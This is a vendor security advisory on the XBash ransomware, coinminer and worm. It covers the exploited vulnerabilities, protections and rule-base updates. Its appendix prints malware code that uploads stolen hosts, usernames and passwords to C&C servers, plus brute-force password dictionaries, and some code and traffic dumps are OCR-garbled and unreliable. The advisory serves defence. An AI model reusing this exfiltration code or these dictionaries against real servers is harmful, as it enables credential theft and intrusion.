XBash Malware Security Advisory

Advisory No.:	NS-2018-0028	■ Date:	2018-10
■ Severity Level:	High. This malware is capable of self-propagation and fast spreading, and can exploit known		
	vulnerabilities to compromis	se servers, causing a perma	nent damage to data.
∎ Tag:	XBash, malware, ransom, coir	nming	



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Executive Summary

On September 17, 2018, Unit42 researchers published an analysis of a new malware family XBash on its official blog. According to them, XBash was developed by the Iron Group, a cybercrime organization that has been active since 2016. The malware was named XBash based on the name of the malicious code's original main module. XBash combines functions of ransomware, coinminers, botnets, and worms to target Linux and Microsoft Windows servers.

An XBash attack consists of multiple stages: self-propagation (exploit), download of target addresses to be scanned, upload of information about target vulnerabilities, download of weak passwords of the targets, and brute-force attack of the targets. The malware is capable of self-propagating and fast spreading. Similar to WannaCry and Petya/NotPetya, it seeks targets by scanning TCP or UDP ports and exploits known vulnerabilities to compromise servers, causing a permanent damage to data.

According to NSFOCUS Threat Intelligence center (NTI), the IP address (104.24.106.22) of the command and control (C&C) server currently used by the malware is located in the USA. It is found that the wallet address provided in ransom messages has garnered 1.09 BTC. Considering the average ransom of 0.02 BTC in an individual event, at least 54 victims have paid the demanded ransom.

XBash Malware Security Advisory

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Reference links:

https://securityaffairs.co/wordpress/76305/malware/xbash-malware.html

https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

2 Propagation and Impact

Developed using Python, XBash was then converted into self-contained Linux ELF executables by abusing the legitimate tool PyInstaller for distribution. Therefore, it is truly cross-platform and can run on macOS, Linux, and Windows platforms, with Windows and Linux servers as the main targets. In addition, the malware can not only attack public IP addresses but also probe intranets. This expansion of the scope of activities beyond the public Internet enables it to exert an extensive impact.

Initially, the malware used a weak password dictionary to crack passwords. Later, it included exploitation of three known vulnerabilities in Yarn, Redis, and ActiveMQ for self-propagation or infection of target servers.

Up to now, it is confirmed that the malware has scanned such web services as VNC, Rsync, MySQL, MariaDB, Memcached, PostgreSQL, MongoDB, phpMyAdmin, Telnet, FTP, and Redis, and has targeted three known vulnerabilities:

- Hadoop YARN Resource Manager unauthenticated command execution, which was first disclosed in October 2016, with no CVE ID assigned
- Redis arbitrary file write and remote command execution, which was first disclosed in October 2015, with no CVE ID assigned
- ActiveMQ arbitrary file write, which was assigned CVE-2016-3088

When the exploit succeeds, XBash will either directly execute a shell command to download and to execute malicious shell or Python scripts, or create a new cron job to do the same. The main functions of malicious scripts are to kill other coinminers, download coinminers developed by the Iron cybercrime group, and download Xbash itself onto the target system for further propagation.

3 Monitoring and Protection

To defend against XBash, NSFOCUS has updated rule packages for some of its security products. Users are advised to load these packages as soon as possible to ensure that these security products can effectively detect and protect against this malware. The following table lists rule base versions of NSFOCUS security products.

Protection Product	Upgrade Package/Rule Base Version	
NSFOCUS NIPS/NIDS	5.6.7.739, 5.6.8.739, 5.6.9.18693, and 5.6.10.18693	
NSFOCUS NF	5.6.7.740 and 6.0.1.740	

For the procedure of updating rule bases, see appendix B Product Use Guide.

NSFOCUS Threat Analysis Center (TAC) can detect attempts of XBash to infiltrate an intranet via web or email. Following is a screenshot of NSFOCUS TAC's analysis of an XBash event.

File info	File Info			
Analysis & Conclusion	Basic Info File Details			
Behavioral Analysis	Risk Level	() Medium	Sample Source	Manual upload
	Source Account	admin[192.168.3.151]	Time	2018-09-30 15:40:17
	File Name	\$1155bf8c85c5c6193842b8	d09bda88990d710db9f70efe8	5c421f1484f0ee78
	Туре	Win32 EXE	File Size	1.0MB (1011200 bytes)
	CRC32		b/326486	
	MD5		3#3##909caee915a ¹ 927c	29a6025d16c
	SHA1		81#7207#502229769d2d	7979f88235261053c24b
	SHA256		31155bf8c85c6c6193842	b8d09bda88990d710db9f70efe85c421
			f1484f0ee78	

4 Risk Avoidance

4.1 Security Tips

- Use complex passwords for login accounts of the server operating system and various business information systems to avoid weak password attacks.
- Patch or upgrade Hadoop, Redis, and ActiveMQ that run on Windows in time to avoid exploits.
- Back up data from time to time to promptly restore business in case of data damage.
- Install endpoint protection software to prevent endpoints from being compromised.
- Deploy boundary protection devices for proactive monitoring and protection to block malware and intrusion events to the maximum extent possible.
- Keep updated on security alerts to improve your organization's security posture.

4.2 Deployment of Security Products

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This malware tries to plant itself into a system by leveraging weak passwords or unpatched vulnerabilities. If successful, it will attempt to use statements to clear various databases, including MySQL, PostgreSQL, and MongoDB, besides leaving a ransom message.

A.1 Major Functions

A.1.1 Weak Password Cracking

The program obtains a weak password dictionary and adds it to a list:

```
cc_online_domain = []
cc online domain.extend(ccdomainlist)
try:
    r = requests.get(pastenbin_scan_url, headers=headers, timeout=8)
    results = r.text.split('\r\n')
    for result in results:
       cc_online_domain.append(result)
except Exception as e:
    print e
random_domain = random.choice(cc_online_domain)
RANDOMPASSLIST = []
RANDOMPASSLIST.extend (PASSWORD DIC)
try:
   req = requests.get('http://%s/p' % random_domain, headers=headers)
   passresults = req.text.split('---')
    for passresult in passresults:
        RANDOMPASSLIST.append(passresult)
```

Following is a local user name dictionary:

```
{'mysql': ['root'],
'postgresql': ['postgres', 'admin'],
'mongodb': ['admin'],
'redis': ['null'],
'phpmyadmin': ['root', 'mysql', 'www', 'bbs', 'wwwroot', 'bak', 'backup'],
'rsync' : ['test', 'root', 'www', 'web', 'rsync', 'admin']
}
```

Following is a local weak password dictionary:

['test', 'neagrle', '123456', 'admin', 'root', 'password', '123123', '123', '1', '{ user}', '{user}{user}', '{user}1', '{user}123', '{user}2016', '{user}2015', '{user} !', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '1233 21', '1314520', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', ' qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe', '159357', 'p@ssw0 rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', 'apache', 'system', 'summer', '121212', 'jason', 'admin123', 'goodluck123', 'peaches', 'asdf qhjkl', 'wang123456', 'falcon', 'www123', '1qazxsw2', '112211', 'fuckyou', 'test', 'silver', '123456789', '234567', '1122334455', 'xxxxxx', '123321', '7788521', '1234 56qaz', 'hunter', 'qwe123', '123', 'asdf123', 'password', '1q2w3e4r', 'nihao123', ' aaaa1111', '123123', '147258369', 'a123', '123qwe', '1234abcd', 'spider', 'qqaazz', 'qwertyuiop', '1234qwer', '123abc', 'qwer1234', 'mustang', '123456', '123456a', 'w w123456', '1234', '123456.com', 'football', 'jessica', 'power', 'q1w2e3r4t5', 'aaa1 23', 'passw0rd', '741852', '666666', '123465', 'justin', '!@#\$%^&*()', '12345', '22 2222', 'qazwsx123', '999999', 'abc123', 'tomcat', 'dongdong', '654321', '111111a', 'q1w2e3', 'dragon', '1234560', '1234567', 'asd123456', 'secret', 'abc123456', 'mast er', 'qq123456', '1q2w3e', 'playboy', 'P@sswOrd', '123654', '888888888', '12345678', 'orange', 'rabbit', 'jonathan', '000000', 'gwer', 'admin', 'asdfasdf', '1234567890 ', '709394', '12qwaszx', 'abcd1234', 'pass', 'fuck', 'abc12345', 'qweasdzxc', 'abcd ef', 'superman', 'rainbow', '1111111111', '1', '321', '888888', '1qaz2wsx', 'test' , '112233', 'qazwsx', 'welcome', '4815162342', 'tiger', 'wangyang', 'q1w2e3r4', '11 1111', 'a123456', 'hello', '123456654321']

A.1.2 Port Scan/Attack

The malware first performs a port scan against random IP addresses in a specified segment. Then, depending on which ports are opened, it conducts different malicious activities.

Target Port	Target Service	Malicious Behavior
80	phpMyAdmin	
8080, 8888, 8000, 8001, 8088	phpMyAdmin	Detects and exploits vulnerabilities in Hadoop.
8161		Detects and exploits vulnerabilities in ActiveMQ.
873		Detects weak passwords for access to rsync and, when successful, returns records to the server.
5900, 5901, 5902	VNC	
1433, 3306, 3307, 3308, 3309, 3360, 9806	MySQL/MariaDB	
11211	Memcached	
5432	PostgreSQL	

27017	MongoDB	
2379, 6379, 7379	Redis	Detects and exploits vulnerabilities in Redis.
9200	Elasticsearch	
23, 2323	Telnet	
161, 123, 389, 512, 513, 514, 1900, 3389, 5984		Scans ports.

A.1.3 Ransom

The malware displays a message, saying that the database has been backed up to the attacket's server and the user has to pay 0.02 BTC as ransom for data recovery. However, the malware does not have the capability of backing up databases. Therefore, users will not get back their database files even if they pay the ransom.



A.1.4 Exploit

In the new version of XBash, we find payloads of some known vulnerabilities:

ActiveMQ arbitrary file write (CVE-2016-3088):



Hadoop YARN remote command execution:



Redis remote command execution:



Weak password cracking:

```
passeord = str(passeord.replace('luser(', user))
upensr = urllibl.hulld_opensr(urllibl.HTPCcodeleProcesser())
res_thin = opensr.open(url, thisocut+isecut).resd()
token = re.search('nume="list" = luser"('')^* ('') ('', res_thin)
token = net =
```

A.1.5 Coinmining Script Execution

When detecting the Redis service running on the Windows operating system, the malware exploits a vulnerability in Redis to call shell commands, in an attempt to download the JavaScript script via a remote server by using mshta/regsvr32 for deploying the malware or coinminer.

Following is the PowerShell script executed by the coinmining module under Windows:



Following is the JavaScript script executed by the coinmining module under Windows:



A.2 Network Communication

A.2.1 C&C Communication

The malware first accesses pastbin.com to obtain a list of C&C servers.

Later, it uploads collected system information (services, IP addresses, passwords, and so on) to a random C&C server in the list by using the HTTP POST method.

```
random domain = random.choice(cc online domain)
   info = ''
   if databaselist:
            info += u'%s;' % ','.join(databaselist)
   url = 'http://%s/c' % random domain
   values = { 'lanip': 'phpmyadmin,' + info,
     'port': host,
     'wanip': host,
     'username': user,
     'password': password}
   data = urllib.urlencode(values)
   req = urllib2.Request(url, data, headers)
   response = urllib2.urlopen(req, timeout=5)
   the page = response.read()
POST // HTTP/L.1
Accept-Encoding: identity
Cantant-Length: B4
Accept-Encoding: identity
Accept-Encoding: identity
Accept-Encoding: identity
Accept-Encoding
Distributions: PostIla/5.8 (XEI; U; Linux; en-U5) ApplaimEKIT/527+ (HHTME, like Gacko, Safari/419.3) Anora/0.6
Most sjacturft.comput.yg
Content-Type: application/x-maw-form-unlencoded; charset=UTF-8
waria=192.168.1.1518/wernase-uride&ressword-password&lantp-phpmyadmin82Cv1.2&port-88
HTP/1.1.200_0K
Date: Sur, 30 Sep 2018 05:55:27 GMT
Content-Type: text/html; characteutf-8
Transfer-Encoding: charked
Connection: close
Set-Cookie: __cfould=d5d18b247994c8c3cf88e4849a4d6bfac1538286686; expires=Mon, 38-Sep-19 05:51:26 GMT; path=/; domain=.censys.sy1; MttpCnly
Server: CloseFiare
CF-RAY: 4526baF8a1525488=LAN
ok
0
```

At the same time, the malware attempts to obtain more dynamic configuration information from C&C servers, such as new weak password dictionaries, and then encodes it with gzip for transmission.

]	RANDOMPASSLIST = []
	try:
	url = '%s/p' % random_domain
	<pre>req = requests.post(url, headers=headers)</pre>
	RANDOMPASSLIST = req.text.split('')
	except:
	pass
POST /P HTT Host scale Characteristics Accept Accept Accept Characteristic Context Characteristic Charact	<pre>/1.1 mijs.upi mi</pre>
rypnus - an plitter - an abcdefgl- hudapest flywrs - siz ladder - fre tronsenal player1 - o bewars - en tupid1 - 20 samp - en	<pre>cls =seecs pospo compile reckey prime 0010 closes perget file surfax girls = surfax = startade frame, seechy = = = 0010 closes perget file surfax = startade frame, startade file surfax = startade file</pre>

A.2.2 Network Communication Signatures

POST messages uploaded by the malware to infected hosts contain the following fields:

"lanip", "port", "wanip", "username", "password"

These fields can be detected by means of regular expression matching. All the returned messages contain the same payload:

"Od Oa 32 Od Oa 6f 6b Od Oa 30 Od Oa Od Oa"

The communication for obtaining weak passwords has the following signature: POST message containing 200 weak passwords, which are separated by "---" like the following:

"cyprus---oracle---seneca---popopo---cowgirl"

B

Product Use Guide

B.1 Protection Configuration on NSFOCUS NIPS

NSFOCUS NIPS users can address this malware by updating the rule base. The procedure is as follows:

Step 1 Download the latest rule base of NSFOCUS NIPS from the official website. Following is a link to the latest rule base for NSFOCUS NIPS V5.6.10:

网络入侵防护系统(IPS)规则5.6.10升	级包列表			
名称: eoi.unify.allrulepatch.ips.5.6.10.18693.rule	版本: 5.6.10.18693			
MD5: 87994da9fda861b432db0b3b4fc7ee52	大小: 22.72M			
描述: 本升级包为入侵防护特征库升级包,仅支持在固件版本5.6R10F00之上,引擎版本5.6R10F00及以上升级。升级包为全量升级包。 升级后固件版本和引擎版本不变,规则版本变为5.6.10.18693。该升级包新增/改进的规则有:				
新增规则: 1. 攻击[24309]:Apache ActiveMQ Fileserver文件上传目录遍历漏洞(CVE-2016-3088) 2. 攻击[41619]:恶意软件Xbash向C2服务器上传扫描结果信息 3. 攻击[41618]:恶意软件Xbash C2服务器通信				
更新规则: 1. 攻击[24263]:Apache Hadoop YARN ResourceManagen远程命令执行漏洞				
注意事项: 1. 该升级包升级后引擎自动重启生效,不会造成会话中断,但ping包会丢3~5个,请选择合适的时间升级.				
NSFOCUS NIDS/NIPS product signature upgrade package, depends on firmware version at least 5.6R10F00 and engine version 5.6R10F00. This is a total upgrade package. After upgrade package is imported, firemare version and engine version willnot change, signature version will change to 5.6.10.18693. This package include changed rules:				

http://update.nsfocus.com/update/downloads/id/23111

Step 2 On the web-based manager of NSFOCUS NIPS, under System > System Update > Offline Update, browse to the update file just downloaded and click Upload.

NIPS			A Western start
* Home	Update Online Update Office	Upitatu	
* Alert Center	System exter/* mile)	Salart File bis file calerted	The fits should be enabled from TRA LIFE
+ Policy	appoint to a start	and a selected	Change and the product of hitless states
+ Citylect			
* Logs and Reports			
* Network			
* System			
System Update			
Backup and Restoration			
System Configuration			
Security Center			
Account Management			
Diagnostic Tools			
License Management			
System Control			

Step 3 After the update is installed, find the rules by ID 41618 and 41619 in the default rule base and view rule details.

NIPS	A Weikome, admin EVELDH +
Home	System Rule Template User Rule Template Custom Rule Exception Rule SOL Injection Whitelast Rule Query >
 Alert Center 	Q_Search A
Policy	Rule Name
* Object	Advanced Options>>
Rule	Search
Network	15 V /page, totally 8503 Home Provide 1/573 V Next Last
Service	Event
Application	(10000) IP Framment Overlan Teardron Denial of Service Attacks
Time	Lannad II. Luidhuini canadh canadh canadh canadh vianna
Sensitive Data	(10013) Microsoft IIS WebDAV PROPFIND Denial of Service
Traffic Channel	[10017] Microsoft FTP Server STAT Command Globbing Denial of Service
Asset Tree	[10035] Malformed Stream ACK/FIN Small Packets Flood Denial of Service
	[10036] mstream ACK/FIN Small Packets Flood Denial of Service
 Logs and Reports 	[10039] Windows System TCP/IP OOB Urgent Data DoS Vulnerability
Network	[10046] Microsoft Share Provider SMB Request Remote Denial of Service(CVE-2002-0724)
System	[10051] Microsoft SQL Server StackOverflow Vulnerability
	[10052] Microsoft SQL Server 2000 Resolution Service keep-alive Denial of Service
	[10056] SYN-Flood Half-open TCP Connection Denial of Service Atlack

----End

Note

After the update is installed, the engine automatically restarts to make it take effect, which does not disconnect any sessions, but may cause the loss of three to five packets during ping operations. Therefore, it is recommended that the update be installed at a time when business is not busy.

B.2 Protection Configuration on NSFOCUS NF

NSFOCUS NF users can address this malware by updating the rule base. The procedure is as follows:

Step 1 Download the latest rule base of NSFOCUS NF from the official website. Following is a link to the latest rule base for NSFOCUS NF V6.0.1:

http://update.nsfocus.com/update/downloads/id/23107

下一代防火墙 (NF/SG)规则	则 6.0.1升级包列表	
名称: eoi.unify.rulepatch.6.0.1.740.rule	版本: 6.0.1.740	
MD5: 14109cd8c5ae169a1a3240bc5a36609a	大小 : 14.60M	
描述: 描述: NSFOCUS入侵防护特征库升级包。 适用引擎版本为: NF v5.6.9.56 及以上版本, NF v6.0.1.56 及以上版本, SG v5.6.9.56 及以上版本。 建议在NF v6.0.3.72引擎版本上升级使用。 升级后NSFOCUS入侵防护特征库版本为:v6.0.1.740 规则新增或更新列表如下: 新增: 24263 Apache Hadoop VARN ResourceManager远程命令执行漏洞		
发布时间:2018-09-30 20:01:12		
名称: eoi.unify.rulepatch.6.0.1.737.rule	版本: 6.0.1.737	
MD5: e6929795d4aa35b98b86a2fa7f4c51e7 大小: 14.60M		

Step 2 On the web-based manager of NSFOCUS NF, under System > System Upgrade > Offline Upgrade, browse to the update file and click Upload.

NF			
商团向导	##		
• 首页	入员防部特征序(*.nule) • Choose File No file chosen	上街	
* 54	此史选择入爆动的特征非 选择下载的最新规则包后上传		
系统开始			
者份恢复			
系统教置			
安全中心			
SNMP			

Step 3 Wait for the installation to complete.

----End

C Disclaimer Statement and Company Profile

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